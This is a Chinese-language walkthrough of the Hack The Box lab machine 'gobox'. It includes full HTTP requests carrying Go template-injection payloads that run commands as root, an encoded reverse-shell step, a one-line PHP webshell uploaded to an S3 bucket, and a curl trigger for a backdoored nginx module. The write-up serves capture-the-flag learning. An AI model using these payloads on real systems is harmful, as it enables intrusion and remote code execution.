端口扫描

┌──(mikannse㉿kali)-[~/HTB/gobox]
└─$ sudo nmap --min-rate=10000 -p- 10.10.11.113
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 14:57 CST
Nmap scan report for 10.10.11.113
Host is up (0.064s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
9000/tcp open cslistener
9001/tcp open tor-orport
9002/tcp filtered dynamid

Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds
┌──(mikannse㉿kali)-[~/HTB/gobox]
└─$ sudo nmap -sT -sV -sC -O -p22,80,4566,8080,9000,9001,9002 10.10.11.113
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 14:58 CST
Nmap scan report for 10.10.11.113
Host is up (0.062s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http nginx
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: Hacking eSports | Home page
9000/tcp open cslistener?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| content-type: application/xml; charset=utf-8
| content-length: 252
| access-control-allow-origin: *
| last-modified: Wed, 04 Sep 2024 06:48:35 GMT
| x-amz-request-id: 32E01B14937308FD
| x-amz-id-2: MzRISOwyjmnup32E01B14937308FD7/JypPGXLh0OVFGcJaaO3KW/hRAqKOpIEEp
| accept-ranges: bytes
| content-language: en-US
| access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
| access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging,amz-sdk-invocation-id,amz-sdk-request
| access-control-expose-headers: x-amz-version-id
| date: Wed, 04 Sep 2024 06:48:35 GMT
| server: hypercorn-h11
| Connection: close
| <?xml version="1.0" encoding="UTF-8"?>
| <Error>
| <Code>NoSuchBucket</Code>
| <Message>The spec
| GenericLines, RTSPRequest:
| HTTP/1.1 400
| content-length: 0
| connection: close
| date: Wed, 04 Sep 2024 06:48:24 GMT
| server: hypercorn-h11
| GetRequest:
| HTTP/1.1 404
| content-type: text/html; charset=utf-8
| content-length: 21
| access-control-allow-origin: *
| access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
| access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging,amz-sdk-invocation-id,amz-sdk-request
| access-control-expose-headers: x-amz-version-id
| date: Wed, 04 Sep 2024 06:48:24 GMT
| server: hypercorn-h11
| Connection: close
| {"status": "running"}
| HTTPOptions:
| HTTP/1.1 200
| content-length: 0
| access-control-allow-origin: *
| access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
| access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging,amz-sdk-invocation-id,amz-sdk-request
| access-control-expose-headers: x-amz-version-id
| cache-control: no-cache
| date: Wed, 04 Sep 2024 06:48:24 GMT
| server: hypercorn-h11
|_ Connection: close
9001/tcp open tor-orport?
| fingerprint-strings:
| GenericLines, SSLSessionReq, SSLv23SessionReq, TLSSessionReq, tarantool:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Date: Wed, 04 Sep 2024 06:48:22 GMT
| Content-Length: 1752
| Content-Type: text/html; charset=utf-8
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <meta http-equiv="X-UA-Compatible" content="ie=edge">
| <title>Hacking eSports | Home page</title>
| <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
| <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script>
| <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
| </head>
| <section class="vh-100" style="background-color:black;">
| <div class="container py-5 h-100">
| <div class="row d-flex justify-content-center align-items-center h-100">
| <div class="col-12 col-md-8 col-lg-6 col-xl-5">
|_ <div c
9002/tcp filtered dynamid
<SNIP>
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.82 seconds

Web

只有80和8080两个web目录可以访问,80端口那个一看就没什么东西,于是转向8080的登录界面,测试了下没有sql注入,并且也只有一个/forgot接口。看房间名字像是用Go搭建的。80网页的标题提示,就只剩下SSTI这条路了。

根据:https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection

POST /forgot/ HTTP/1.1

Host: 10.10.11.113:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

Origin: http://10.10.11.113:8080

Connection: keep-alive

Referer: http://10.10.11.113:8080/forgot/

Upgrade-Insecure-Requests: 1



email={{ . }}

根据response,当前的对象中有{1 ippsec@hacking.esports ippsSecretPassword} 的属性,那么猜测也就是ippsec用户的id,邮箱,密码

使用这个凭证登陆之后来到了源码界面

package main

import(
"html/template"
"net/http"
"log"
"os/exec"
"fmt"
"bytes"
"strings"
)

// compile all templates and cache them
var templates = template.Must(template.ParseGlob("templates/*"))

type Data struct {
Title string // Must be exported!
Body string // Must be exported!
}

type User struct {
ID int
Email string
Password string
}


func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}

// Renders the templates
func renderTemplate(w http.ResponseWriter, tmpl string, page *Data) {
err := templates.ExecuteTemplate(w, tmpl, page)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
}

func IndexHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
renderTemplate(w, "index", page)
case "POST":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
if r.FormValue("password") == "ippsSecretPassword" {
renderTemplate(w, "source", page )
} else {
renderTemplate(w, "index", page)
}
}
}

func ForgotHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Forgot Password", Body:""}
renderTemplate(w, "forgot", page)
case "POST":
var user1 = &User{1, "ippsec@hacking.esports", "ippsSecretPassword"}
var tmpl = fmt.Sprintf(`Email Sent To: %s`, r.FormValue("email"))

t, err := template.New("page").Parse(tmpl)
if err != nil {
fmt.Println(err)
}

var tpl bytes.Buffer
t.Execute(&tpl, &user1)
page := &Data{Title:"Forgot Password", Body:tpl.String()}
renderTemplate(w, "forgot", page)
}
}


func main(){
http.HandleFunc("/", IndexHandler)
http.HandleFunc("/forgot/", ForgotHandler)
log.Fatal(http.ListenAndServe(":80", nil))
}

重点肯定是这个DebugCmd函数,能够将传入的参数执行系统命令,那么就在刚刚forgot接口利用SSTI再次进行调用

POST /forgot/ HTTP/1.1

Host: 10.10.11.113:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Origin: http://10.10.11.113:8080

Connection: keep-alive

Referer: http://10.10.11.113:8080/forgot/

Upgrade-Insecure-Requests: 1



email={{ .DebugCmd "whoami" }}

发现是以root身份运行,用base64解码来个反弹shell

POST /forgot/ HTTP/1.1

Host: 10.10.11.113:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

Origin: http://10.10.11.113:8080

Connection: keep-alive

Referer: http://10.10.11.113:8080/forgot/

Upgrade-Insecure-Requests: 1



email={{ .DebugCmd "echo '反弹shellbase64编码' | base64 -d |bash" }}n

S3存储桶

进来之后发现这个docker环境真的是寒酸。。一堆命令没有,但是在root用户的历史命令中发现了aws的命令

什么是 S3 存储桶?

Amazon S3(Simple Storage Service) 是 AWS 提供的一种对象存储服务,设计用于存储和检索任意数量的数据。它具有极高的可用性、持久性和扩展性,适合用于备份、归档、数据湖、内容分发等多种场景。

S3 的基本概念

  • 存储桶(Bucket): S3 中的基本存储单元。你可以将它视为存放文件的容器,每个存储桶都有一个唯一的名称(在整个 AWS 区域内)。存储桶用于组织和管理存储在其中的对象(文件)。
  • 对象(Object): 存储在 S3 中的每个文件都被称为一个对象。对象由文件本身、元数据(如文件名、大小、最后修改时间)以及可选的标签组成。
  • 键(Key): 每个对象在存储桶中都有一个唯一的键(Key),类似于文件路径。通过键,S3 可以唯一标识并访问对象。
  • 区域(Region): S3 存储桶必须被创建在某个特定的 AWS 区域中,如美国东部(us-east-1)、亚太地区(ap-southeast-1)等。不同区域之间的数据传输可能产生费用。

示例操作

以下是一些常见的 S3 操作:

  1. 创建存储桶:

    aws s3 mb s3://my-new-bucket
  2. 列出存储桶:

    aws s3 ls
  3. 上传文件到存储桶:

    aws s3 cp myfile.txt s3://my-new-bucket/
  4. 下载文件:

    aws s3 cp s3://my-new-bucket/myfile.txt .
  5. 删除文件:

    aws s3 rm s3://my-new-bucket/myfile.txt

发现我们有website这个存储桶,里面的内容正是80端口开设的那个服务,应该是运行在宿主机上的

root@aws:/tmp# aws s3 ls 
aws s3 ls
2024-09-04 06:45:25 website

那么可以在本地写一个webshell然后用mv移动上去

root@aws:/tmp# echo "<?php system(\$_GET['cmd']); ?>">shell.php
root@aws:/tmp# aws s3 mv shell.php s3://website/shell.php
aws s3 mv shell.php s3://website/shell.php
move: ./shell.php to s3://website/shell.php
┌──(mikannse㉿kali)-[~/HTB/gobox]
└─$ curl "http://10.10.11.113/shell.php?cmd=whoami"
www-data

再次反弹shell

提权

发现本地还开着一个8000端口,是一个nginx服务

www-data@gobox:/var$ ss -tlnp
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:9000 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:9001 0.0.0.0:*
LISTEN 0 511 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:4566 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 4096 [::]:9000 [::]:*
LISTEN 0 4096 [::]:9001 [::]:*
LISTEN 0 128 [::]:22 [::]:*
www-data@gobox:/opt/website$ cat /etc/nginx/sites-enabled/default
cat /etc/nginx/sites-enabled/default
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
listen 4566 default_server;


root /var/www/html;

index index.html index.htm index.nginx-debian.html;

server_name _;


location / {
if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
return 403;
}
proxy_pass http://127.0.0.1:9000;
}

}

server {
listen 80;
root /opt/website;
index index.php;

location ~ [^/]\.php(/|$) {
fastcgi_index index.php;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;


fastcgi_pass unix:/tmp/php-fpm.sock;
}
}

server {
listen 8080;
add_header X-Forwarded-Server golang;
location / {
proxy_pass http://127.0.0.1:9001;
}
}

server {
listen 127.0.0.1:8000;
location / {
command on;
}
}

有一个command on功能,不是nginx默认的功能,那也就是自定义的模块的功能

www-data@gobox:/opt/website$ ls -a /etc/nginx/modules-enabled
ls -a /etc/nginx/modules-enabled
.
..
50-backdoor.conf
50-mod-http-image-filter.conf
50-mod-http-xslt-filter.conf
50-mod-mail.conf
50-mod-stream.conf

一个叫backdoor的配置文件显然非常可疑,显示加载了这个模组

www-data@gobox:/opt/website$ cat /etc/nginx/modules-enabled/50-backdoor.conf
load_module modules/ngx_http_execute_module.so;

可以找到这个模块的项目-g 可以触发后门实现命令执行

https://github.com/limithit/NginxExecute
www-data@gobox:/opt/website$ strings /usr/lib/nginx/modules/ngx_http_execute_module.so

发现了ippsec.run

www-data@gobox:/opt/website$ curl -s -g "http://127.0.0.1:8000/?ippsec.run[id]"
< curl -s -g "http://127.0.0.1:8000/?ippsec.run[id]"
uid=0(root) gid=0(root) groups=0(root)

碎碎念

非常有趣的房间,涉及到go的SSTI,与python还是nodejs的都有些不同,以及S3存储桶的内容,最后是nginx后门模块命令执行。对我来说都是比较新的东西